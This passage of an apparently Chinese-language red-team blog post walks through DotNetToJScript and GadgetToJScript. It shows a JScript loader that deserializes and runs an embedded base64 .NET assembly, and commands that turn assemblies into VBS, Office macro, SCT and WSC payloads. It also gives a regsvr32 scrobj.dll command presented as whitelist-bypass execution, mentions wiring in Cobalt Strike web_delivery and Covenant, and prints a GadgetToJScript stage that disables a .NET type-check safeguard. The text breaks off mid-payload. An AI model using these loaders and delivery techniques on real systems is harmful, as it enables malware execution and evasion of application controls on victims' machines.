class="string">"dHRyaWJ1dGUAQXNzZW1ibHlDb25maWd1cmF0aW9uQXR0cmlidXRlAEFzc2VtYmx5RGVzY3JpcHRp"</span>+</span><br><span class="line"><span class="string">"b25BdHRyaWJ1dGUAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBBc3NlbWJseVByb2R1"</span>+</span><br><span class="line"><span class="string">"Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb3B5cmlnaHRBdHRyaWJ1dGUAQXNzZW1ibHlDb21wYW55QXR0"</span>+</span><br><span class="line"><span class="string">"cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAHBhdGgARXhhbXBsZUFzc2VtYmx5"</span>+</span><br><span class="line"><span class="string">"LmRsbABTeXN0ZW0ATWVzc2FnZUJveEljb24AU3lzdGVtLlJlZmxlY3Rpb24ALmN0b3IAU3lzdGVt"</span>+</span><br><span class="line"><span class="string">"LkRpYWdub3N0aWNzAFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBTeXN0ZW0uUnVudGlt"</span>+</span><br><span class="line"><span class="string">"ZS5Db21waWxlclNlcnZpY2VzAERlYnVnZ2luZ01vZGVzAFN5c3RlbS5XaW5kb3dzLkZvcm1zAE1l"</span>+</span><br><span class="line"><span class="string">"c3NhZ2VCb3hCdXR0b25zAFRlc3RDbGFzcwBSdW5Qcm9jZXNzAE9iamVjdABEaWFsb2dSZXN1bHQA"</span>+</span><br><span class="line"><span class="string">"U3RhcnQAU2hvdwBNZXNzYWdlQm94AEV4YW1wbGVBc3NlbWJseQAAAAAACVQAZQBzAHQAAADj3KEj"</span>+</span><br><span class="line"><span class="string">"e42OT40NcZVxyoeHAAQgAQEIAyAAAQUgAQEREQQgAQEOBCABAQIKAAQRRQ4OEUkRTQUAARJRDgi3"</span>+</span><br><span class="line"><span class="string">"elxWGTTgiQgBAAgAAAAAAB4BAAEAVAIWV3JhcE5vbkV4Y2VwdGlvblRocm93cwEIAQAHAQAAAAAU"</span>+</span><br><span class="line"><span class="string">"AQAPRXhhbXBsZUFzc2VtYmx5AAApAQAkRXhhbXBsZSBBc3NlbWJseSBmb3IgRG90TmV0VG9KU2Ny"</span>+</span><br><span class="line"><span class="string">"aXB0AAAFAQAAAAAkAQAfQ29weXJpZ2h0IMKpIEphbWVzIEZvcnNoYXcgMjAxNwAAKQEAJDU2NTk4"</span>+</span><br><span class="line"><span class="string">"ZjFjLTZkODgtNDk5NC1hMzkyLWFmMzM3YWJlNTc3NwAADAEABzEuMC4wLjAAAAUBAAEAAAAAAAAM"</span>+</span><br><span class="line"><span class="string">"EGdeAAAAAAIAAAAcAQAArCYAAKwIAABSU0RTyVZuj/N+iUu1llptRFdfnAEAAABDOlxVc2Vyc1xQ"</span>+</span><br><span class="line"><span class="string">"YXRyaWxpY1xEZXNrdG9wXERvdE5ldFRvSlNjcmlwdFxFeGFtcGxlQXNzZW1ibHlcb2JqXERlYnVn"</span>+</span><br><span class="line"><span class="string">"XEV4YW1wbGVBc3NlbWJseS5wZGIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"</span>+</span><br><span class="line"><span class="string">"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"</span>+</span><br><span class="line"><span class="string">"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"</span>+</span><br><span class="line"><span class="string">"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAPAnAAAAAAAAAAAAAAooAAAAIAAAAAAAAAAAAAAAAAAAAAAA"</span>+</span><br><span class="line"><span class="string">"AAAAAAD8JwAAAAAAAAAAAAAAAF9Db3JEbGxNYWluAG1zY29yZWUuZGxsAAAAAAD/JQAgABAAAAAA"</span>+</span><br><span class="line"><span class="string">"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"</span>+</span><br><span class="line"><span class="string">"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"</span>+</span><br><span class="line"><span class="string">"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"</span>+</span><br><span class="line"><span class="string">"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"</span>+</span><br><span class="line"><span class="string">"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"</span>+</span><br><span class="line"><span class="string">"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"</span>+</span><br><span class="line"><span class="string">"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"</span>+</span><br><span class="line"><span class="string">"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"</span>+</span><br><span class="line"><span class="string">"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAAABgAAIAAAAAAAAAAAAAAAAAA"</span>+</span><br><span class="line"><span class="string">"AAEAAQAAADAAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAEgAAABYQAAAsAMAAAAAAAAAAAAAsAM0AAAA"</span>+</span><br><span class="line"><span class="string">"VgBTAF8AVgBFAFIAUwBJAE8ATgBfAEkATgBGAE8AAAAAAL0E7/4AAAEAAAABAAAAAAAAAAEAAAAA"</span>+</span><br><span class="line"><span class="string">"AD8AAAAAAAAABAAAAAIAAAAAAAAAAAAAAAAAAABEAAAAAQBWAGEAcgBGAGkAbABlAEkAbgBmAG8A"</span>+</span><br><span class="line"><span class="string">"AAAAACQABAAAAFQAcgBhAG4AcwBsAGEAdABpAG8AbgAAAAAAAACwBBADAAABAFMAdAByAGkAbgBn"</span>+</span><br><span class="line"><span class="string">"AEYAaQBsAGUASQBuAGYAbwAAAOwCAAABADAAMAAwADAAMAA0AGIAMAAAAGIAJQABAEMAbwBtAG0A"</span>+</span><br><span class="line"><span class="string">"ZQBuAHQAcwAAAEUAeABhAG0AcABsAGUAIABBAHMAcwBlAG0AYgBsAHkAIABmAG8AcgAgAEQAbwB0"</span>+</span><br><span class="line"><span class="string">"AE4AZQB0AFQAbwBKAFMAYwByAGkAcAB0AAAAAAAiAAEAAQBDAG8AbQBwAGEAbgB5AE4AYQBtAGUA"</span>+</span><br><span class="line"><span class="string">"AAAAAAAAAABIABAAAQBGAGkAbABlAEQAZQBzAGMAcgBpAHAAdABpAG8AbgAAAAAARQB4AGEAbQBw"</span>+</span><br><span class="line"><span class="string">"AGwAZQBBAHMAcwBlAG0AYgBsAHkAAAAwAAgAAQBGAGkAbABlAFYAZQByAHMAaQBvAG4AAAAAADEA"</span>+</span><br><span class="line"><span class="string">"LgAwAC4AMAAuADAAAABIABQAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAEUAeABhAG0AcABs"</span>+</span><br><span class="line"><span class="string">"AGUAQQBzAHMAZQBtAGIAbAB5AC4AZABsAGwAAABiAB8AAQBMAGUAZwBhAGwAQwBvAHAAeQByAGkA"</span>+</span><br><span class="line"><span class="string">"ZwBoAHQAAABDAG8AcAB5AHIAaQBnAGgAdAAgAKkAIABKAGEAbQBlAHMAIABGAG8AcgBzAGgAYQB3"</span>+</span><br><span class="line"><span class="string">"ACAAMgAwADEANwAAAAAAKgABAAEATABlAGcAYQBsAFQAcgBhAGQAZQBtAGEAcgBrAHMAAAAAAAAA"</span>+</span><br><span class="line"><span class="string">"AABQABQAAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBuAGEAbQBlAAAARQB4AGEAbQBwAGwAZQBB"</span>+</span><br><span class="line"><span class="string">"AHMAcwBlAG0AYgBsAHkALgBkAGwAbAAAAEAAEAABAFAAcgBvAGQAdQBjAHQATgBhAG0AZQAAAAAA"</span>+</span><br><span class="line"><span class="string">"RQB4AGEAbQBwAGwAZQBBAHMAcwBlAG0AYgBsAHkAAAA0AAgAAQBQAHIAbwBkAHUAYwB0AFYAZQBy"</span>+</span><br><span class="line"><span class="string">"AHMAaQBvAG4AAAAxAC4AMAAuADAALgAwAAAAOAAIAAEAQQBzAHMAZQBtAGIAbAB5ACAAVgBlAHIA"</span>+</span><br><span class="line"><span class="string">"cwBpAG8AbgAAADEALgAwAC4AMAAuADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"</span>+</span><br><span class="line"><span class="string">"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"</span>+</span><br><span class="line"><span class="string">"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"</span>+</span><br><span class="line"><span class="string">"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"</span>+</span><br><span class="line"><span class="string">"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"</span>+</span><br><span class="line"><span class="string">"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"</span>+</span><br><span class="line"><span class="string">"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"</span>+</span><br><span class="line"><span class="string">"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"</span>+</span><br><span class="line"><span class="string">"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"</span>+</span><br><span class="line"><span class="string">"AAAAAAAAAAAAAAAAAAAAAAAAIAAADAAAABw4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"</span>+</span><br><span class="line"><span class="string">"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"</span>+</span><br><span class="line"><span class="string">"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"</span>+</span><br><span class="line"><span class="string">"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"</span>+</span><br><span class="line"><span class="string">"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"</span>+</span><br><span class="line"><span class="string">"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"</span>+</span><br><span class="line"><span class="string">"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"</span>+</span><br><span class="line"><span class="string">"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"</span>+</span><br><span class="line"><span class="string">"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"</span>+</span><br><span class="line"><span class="string">"AAAAAAAAAAAAAAAAAAAAAAENAAAABAAAAAkXAAAACQYAAAAJFgAAAAYaAAAAJ1N5c3RlbS5SZWZs"</span>+</span><br><span class="line"><span class="string">"ZWN0aW9uLkFzc2VtYmx5IExvYWQoQnl0ZVtdKQgAAAAKCwAA"</span>;</span><br><span class="line"><span class="keyword">var</span> entry_class = <span class="string">'TestClass'</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">try</span> {</span><br><span class="line">setversion();</span><br><span class="line"><span class="keyword">var</span> stm = base64ToStream(serialized_obj);</span><br><span class="line"><span class="keyword">var</span> fmt = <span class="keyword">new</span> ActiveXObject(<span class="string">'System.Runtime.Serialization.Formatters.Binary.BinaryFormatter'</span>);</span><br><span class="line"><span class="keyword">var</span> al = <span class="keyword">new</span> ActiveXObject(<span class="string">'System.Collections.ArrayList'</span>);</span><br><span class="line"><span class="keyword">var</span> d = fmt.Deserialize_2(stm);</span><br><span class="line">al.Add(<span class="literal">undefined</span>);</span><br><span class="line"><span class="keyword">var</span> o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);</span><br><span class="line"></span><br><span class="line">} <span class="keyword">catch</span> (e) {</span><br><span class="line"> debug(e.message);</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p><p>可以看到都是需要调用.net中的库,然后进行一个反序列化解密的过程</p><h4 id="ToVBS"><a href="#ToVBS" class="headerlink" title="ToVBS"></a>ToVBS</h4><p>需要注意的是,生成VBS脚本需要使用<code>-l</code>参数指定vbscript<br><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">DotNetToJScript.exe -l vbscript -o test2.vbs ExampleAssembly.dll</span><br></pre></td></tr></table></figure></p><p><img src="/DotNetToJScript && GadgetToJScript.resources/9E783D6C-FD64-462D-A8EA-3A4496D23332.png" alt="2ab489a15717637018bdd621de3f2895"></p><h4 id="ToVBA"><a href="#ToVBA" class="headerlink" title="ToVBA"></a>ToVBA</h4><p>生成的VBA可以用来插入office宏<br><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">DotNetToJScript.exe -l vba -o test.txt ExampleAssembly.dll</span><br></pre></td></tr></table></figure></p><p><img src="/DotNetToJScript && GadgetToJScript.resources/8437C1F8-4A99-4716-BFB9-94F7839872BC.png" alt="60c153e14a78918d7f3f2cec5adb6724"></p><h4 id="ToSCT"><a href="#ToSCT" class="headerlink" title="ToSCT"></a>ToSCT</h4><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">DotNetToJScript.exe -u -o test.sct ExampleAssembly.dll</span><br></pre></td></tr></table></figure><p><img src="/DotNetToJScript && GadgetToJScript.resources/B905E07D-9F7A-438E-8C9A-1CE6BCAE65AE.png" alt="8f5c4cd923308caae40f49dc31a31122"></p><p>利用<code>regsvr32.exe</code>白名单执行<br><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">regsvr32.exe /u /n /s /i:test.sct scrobj.dll</span><br></pre></td></tr></table></figure></p><h4 id="ToWSC"><a href="#ToWSC" class="headerlink" title="ToWSC"></a>ToWSC</h4><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">DotNetToJScript.exe -m -o test.wsc ExampleAssembly.dll</span><br></pre></td></tr></table></figure><p>生成的wsc文件只需要在其他js/asp环境下调用即可<br><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">GetObject("script:C:\\Users\\Patrilic\\Desktop\\DotNetToJScript\\DotNetToJScript\\bin\\Debug\\test.wsc");</span><br></pre></td></tr></table></figure></p><p><img src="/DotNetToJScript && GadgetToJScript.resources/977C7010-C087-4D70-A085-AA2BB893D9FD.png" alt="5587bb1b29e99df5966bbaf5114dcc3e"></p><h4 id="With-Covenaut"><a href="#With-Covenaut" class="headerlink" title="With Covenaut"></a>With Covenaut</h4><p><img src="/DotNetToJScript && GadgetToJScript.resources/95A05AA7-24A5-445B-B111-DC8ED95CDF31.png" alt="569761d6f2b8efec74a347c56f84d621"><br><strong>.Net程序都可以直接-c指定类去转换</strong></p><p><img src="/DotNetToJScript && GadgetToJScript.resources/7C5D1050-B572-4215-87ED-6C26456CB1FC.png" alt="6c75c4aca52c0e0952cdb3258d569b0c"></p><h4 id="With-Powershell"><a href="#With-Powershell" class="headerlink" title="With Powershell"></a>With Powershell</h4><p>利用<a href="https://github.com/Cn33liz/StarFighters" target="_blank" rel="noopener">StarFighters</a> 可以直接在vbs和js中执行powershell代码</p><p>在test.txt中写入cs的web_delivery<br><img src="/DotNetToJScript && GadgetToJScript.resources/358C100B-7087-4BA8-8EC3-0C73B8E24B50.png" alt="057cd5f957fc05147a3ee93820708327"></p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$code</span> = <span class="built_in">Get-Content</span> -Path test.txt</span><br><span class="line"><span class="variable">$bytes</span> = [System.Text.Encoding]::UNICODE.GetBytes(<span class="variable">$code</span>);</span><br><span class="line"><span class="variable">$encoded</span> = [System.Convert]::ToBase64String(<span class="variable">$bytes</span>)</span><br><span class="line"><span class="variable">$encoded</span></span><br></pre></td></tr></table></figure><p><img src="/DotNetToJScript && GadgetToJScript.resources/1A0348EE-0D14-4792-BD99-CD512A4549AC.png" alt="3f7de06beaa326e045148bedb33abc7a"></p><p>替换<code>EncodedPayload</code><br><img src="/DotNetToJScript && GadgetToJScript.resources/F31857A2-6F04-4BA4-814A-D26047AEA2AB.png" alt="76576829f365f78c38ebada4e43bbc10"><br>芜湖~</p><h3 id="Analyse"><a href="#Analyse" class="headerlink" title="Analyse"></a>Analyse</h3><p>整个包分为两个项目<br><img src="/DotNetToJScript && GadgetToJScript.resources/742D69B1-6387-46F0-9EEF-F3EA2985B974.png" alt="cc2f1c14330049f22602b8352908b363"></p><p>主要还是<code>DotNetToJScript</code><br>在Program.cs的程序开始就定义了三个Language<br><img src="/DotNetToJScript && GadgetToJScript.resources/7CB3112C-2412-4660-B935-1B9C3003D870.png" alt="b1b74cc2f4f5caa3fd3d1f3eac883757"></p><p>在<code>IScriptGenerator</code>中定义了接口,然后在switch语句中选取具体的生成器<br><img src="/DotNetToJScript && GadgetToJScript.resources/0CEB8EE1-C462-43B3-8E24-F7F8179A895A.png" alt="231ebb9c6369136f0385a5f6fb4f369a"></p><p>数据经过处理加密后,直接<code>Properties.Resources.jscript_template.Replace</code>替换模版中的变量<br><img src="/DotNetToJScript && GadgetToJScript.resources/01335C9D-DF6C-4352-8DD3-AA085329F242.png" alt="489a50d7e2a4e1e5318e1bc2891264a8"></p><p><img src="/DotNetToJScript && GadgetToJScript.resources/335C4830-344D-40C3-A23E-46781CF6D10D.png" alt="3a31a1fdbe4ab02a06b4472bbb508987"></p><h2 id="0x02-GadgetToJScript"><a href="#0x02-GadgetToJScript" class="headerlink" title="0x02 GadgetToJScript"></a>0x02 GadgetToJScript</h2><h3 id="Build-1"><a href="#Build-1" class="headerlink" title="Build"></a>Build</h3><p>Github: <a href="https://github.com/med0x2e/GadgetToJScript" target="_blank" rel="noopener">https://github.com/med0x2e/GadgetToJScript</a></p><p>我这里使用 <strong>.NET 4.6.1</strong> 直接可以编译成功<br><img src="/DotNetToJScript && GadgetToJScript.resources/6998CCD9-91C3-4485-8F42-8B0DB5619759.png" alt="2a951b1b0f5b7229da9de144829ac6c4"></p><h3 id="Usage-1"><a href="#Usage-1" class="headerlink" title="Usage"></a>Usage</h3><p><img src="/DotNetToJScript && GadgetToJScript.resources/D50EBB82-33D2-45B2-A99B-5E327C62A12E.png" alt="788bf013f81071940291182e2345e99b"></p><p>原程序默认提供了<code>js,vbs,vba,hta</code>,四种文件转换</p><h4 id="ToJS-1"><a href="#ToJS-1" class="headerlink" title="ToJS"></a>ToJS</h4><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">GadgetToJScript.exe -w js -e hex -o test</span><br></pre></td></tr></table></figure><p><img src="/DotNetToJScript && GadgetToJScript.resources/83247BFE-B124-4018-9C86-0534848766C3.png" alt="c0816446e99a6f049dcf24a309d6bbec"></p><p>老规矩,看看源码<br><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">Base64ToStream</span>(<span class="params">b,l</span>) </span>{</span><br><span class="line"><span class="keyword">var</span> enc = <span class="keyword">new</span> ActiveXObject(<span class="string">"System.Text.ASCIIEncoding"</span>);</span><br><span class="line"><span class="keyword">var</span> length = enc.GetByteCount_2(b);</span><br><span class="line"><span class="keyword">var</span> ba = enc.GetBytes_4(b);</span><br><span class="line"><span class="keyword">var</span> transform = <span class="keyword">new</span> ActiveXObject(<span class="string">"System.Security.Cryptography.FromBase64Transform"</span>);</span><br><span class="line">ba = transform.TransformFinalBlock(ba, <span class="number">0</span>, length);</span><br><span class="line"><span class="keyword">var</span> ms = <span class="keyword">new</span> ActiveXObject(<span class="string">"System.IO.MemoryStream"</span>);</span><br><span class="line">ms.Write(ba, <span class="number">0</span>, l);</span><br><span class="line">ms.Position = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">return</span> ms;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> stage_1 = <span class="string">"AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAxxA8UmVzb3VyY2VEaWN0aW9uYXJ5DQogICAgICAgICAgICB4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwvcHJlc2VudGF0aW9uIg0KICAgICAgICAgICAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogICAgICAgICAgICB4bWxuczpzPSJjbHItbmFtZXNwYWNlOlN5c3RlbTthc3NlbWJseT1tc2NvcmxpYiINCiAgICAgICAgICAgIHhtbG5zOmM9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkNvbmZpZ3VyYXRpb247YXNzZW1ibHk9U3lzdGVtLkNvbmZpZ3VyYXRpb24iDQogICAgICAgICAgICB4bWxuczpyPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5SZWZsZWN0aW9uO2Fzc2VtYmx5PW1zY29ybGliIj4NCiAgICAgICAgICAgICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyIHg6S2V5PSJ0eXBlIiBPYmplY3RUeXBlPSJ7eDpUeXBlIHM6VHlwZX0iIE1ldGhvZE5hbWU9IkdldFR5cGUiPg0KICAgICAgICAgICAgICAgICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgICAgICAgICAgICAgICAgICA8czpTdHJpbmc+U3lzdGVtLldvcmtmbG93LkNvbXBvbmVudE1vZGVsLkFwcFNldHRpbmdzLCBTeXN0ZW0uV29ya2Zsb3cuQ29tcG9uZW50TW9kZWwsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1PC9zOlN0cmluZz4NCiAgICAgICAgICAgICAgICAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgICAgICAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCiAgICAgICAgICAgICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyIHg6S2V5PSJmaWVsZCIgT2JqZWN0SW5zdGFuY2U9IntTdGF0aWNSZXNvdXJjZSB0eXBlfSIgTWV0aG9kTmFtZT0iR2V0RmllbGQiPg0KICAgICAgICAgICAgICAgICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgICAgICAgICAgICAgICAgICA8czpTdHJpbmc+ZGlzYWJsZUFjdGl2aXR5U3Vycm9nYXRlU2VsZWN0b3JUeXBlQ2hlY2s8L3M6U3RyaW5nPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHI6QmluZGluZ0ZsYWdzPjQwPC9yOkJpbmRpbmdGbGFncz4NCiAgICAgICAgICAgICAgICAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgICAgICAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCiAgICAgICAgICAgICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyIHg6S2V5PSJzZXQiIE9iamVjdEluc3RhbmNlPSJ7U3RhdGljUmVzb3VyY2UgZmllbGR9IiBNZXRob2ROYW1lPSJTZXRWYWx1ZSI+DQogICAgICAgICAgICAgICAgICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxzOk9iamVjdC8+DQogICAgICAgICAgICAgICAgICAgICAgICA8czpCb29sZWFuPnRydWU8L3M6Qm9vbGVhbj4NCiAgICAgICAgICAgICAgICAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgICAgICAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCiAgICAgICAgICAgICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyIHg6S2V5PSJzZXRNZXRob2QiIE9iamVjdEluc3RhbmNlPSJ7eDpTdGF0aWMgYzpDb25maWd1cmF0aW9uTWFuYWdlci5BcHBTZXR0aW5nc30iIE1ldGhvZE5hbWUgPSJTZXQiPg0KICAgICAgICAgICAgICAgICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgICAgICAgICAgICAgICAgICA8czpTdHJpbmc+bWljcm9zb2Z0OldvcmtmbG93Q29tcG9uZW50TW9kZWw6RGlzYWJsZUFjdGl2aXR5U3Vycm9nYXRlU2VsZWN0b3JUeXBlQ2hlY2s8L3M6U3RyaW5nPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHM6U3RyaW5nPnRydWU8L3M6U3RyaW5nPg0KICAgICAgICAgICAgICAgICAgICA8L09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzPg0KICAgICAgICAgICAgICAgIDwvT2JqZWN0RGF0YVByb3ZpZGVyPg0KICAgICAgICAgICAgPC9SZXNvdXJjZURpY3Rpb25hcnk+Cw=="</span>;</span><br><span class="line"><span class="keyword">var</span> stage_2 = <span 